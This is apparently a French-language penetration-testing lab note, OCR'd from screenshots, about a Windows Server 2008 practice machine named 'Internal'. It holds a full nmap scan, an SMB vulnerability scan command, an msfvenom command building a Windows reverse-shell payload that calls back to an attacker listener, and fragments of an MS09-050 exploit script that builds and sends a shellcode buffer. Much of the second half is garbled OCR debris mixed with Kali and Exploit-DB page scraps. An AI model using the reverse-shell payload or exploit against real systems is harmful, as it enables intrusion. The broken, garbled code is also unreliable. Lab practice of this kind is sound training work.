Windows - Internal

vendredi 11 avril 2025 14:51

sudo nmap -p- -sV -sC 192.168.226.40 --open

[sudo] password for alice:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-11 14:22 CEST

Nmap scan report for 192.168.226.40

Host is up (0.022s latency).

Not shown: 60563 closed tcp ports (reset), 4957 filtered tcp ports (no -response), 2 filtered tcp ports
(host-unreach)

Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT  STATESERVICE ~ VERSION

53/tcp open domain Microsoft DNS 6.0.6001 (17714650) (Windows Server 2008 SP1)
| dns-nsid:

|_ bind.version: Microsoft DNS 6.0.6001 (17714650)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft -ds
(workgroup: WORKGROUP)

3389/tcp open ms-wbt-server Microsoft Terminal Service

| _ssl-date: 2025-04-11T12:24:21+00:00; -2s from scanner time.

| ssl-cert: Subject: commonNames=internal

| Not valid before: 2024-08-02T02:11:44

| _Not valid after: 2025-02-01T02:11:44

| rdp-ntim-info:

| Target_Name: INTERNAL

| NetBIOS_Domain_Name: INTERNAL

| NetBIOS_Computer_Name: INTERNAL

| DNS_Domain_Name: internal

| DNS_Computer_Name: internal

| Product_Version: 6.0.6001

|_ System_Time: 2025-04-11T12:24:12+00:00

5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| _http-server-header: Microsoft-HTTPAPI/2.0

| _http-title: Service Unavailable

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

49158/tcp open msrpc Microsoft Windows RPC

Service Info: Host: INTERNAL; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008::sp1,
cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2008:r2

Host script results:

| smb2-security-mode:
| 2:0:2:
|_ Message signing enabled but not required

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported

|_ message_signing: disabled (dangerous, but default)

| _nbstat: NetBIOS name: INTERNAL, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:9e:55:78
(VMware)

| smb2-time:

| date: 2025-04-11712:24:12

|_ start_date: 2024-08-03T02:11:43

| smb-os-discovery:

| 0S: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R) 2008 Standard
6.0)

| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1

| Computer name: internal

| NetBIOS computer name: INTERNAL\x00

| Workgroup: WORKGROUP\X00
|
|

_ System time: 2025-04-11705:24:12-07:00
_clock-skew: mean: 1h23m57s, deviation: 3h07m50s, median: -3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.67 seconds

sudo nmap --script smb-vuln\* -p445 @I1P

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.250 LPORT=
4444 EXITFUNC=thread -f python

PG PLAY Page |


https://nmap.org
https://nmap.org/submit/

® Outil Capture d'écran

Capture d'écran copiée dans le Prg

Enr e dans

( t % sys.argv[

(

sys.exit(-1)

On a I'erreur comme quoi la variable shell n'est pas reconnue :
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Kali Linux

Code

# Kali Tools

main

Blame

08 github.com

* KaliDocs W Kali Forums X Kali NetHunter
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Exploit-DB

® 8
Google Hacking DB

MS09-050.py

buff
buff ! & shell
buff
buff
buff
buff
buff
buff
buff
buff

buff+=shell

= socket()
.connect(host)

buf¢

.send(buff)

.close()

subprocess.call(

% (target), shells
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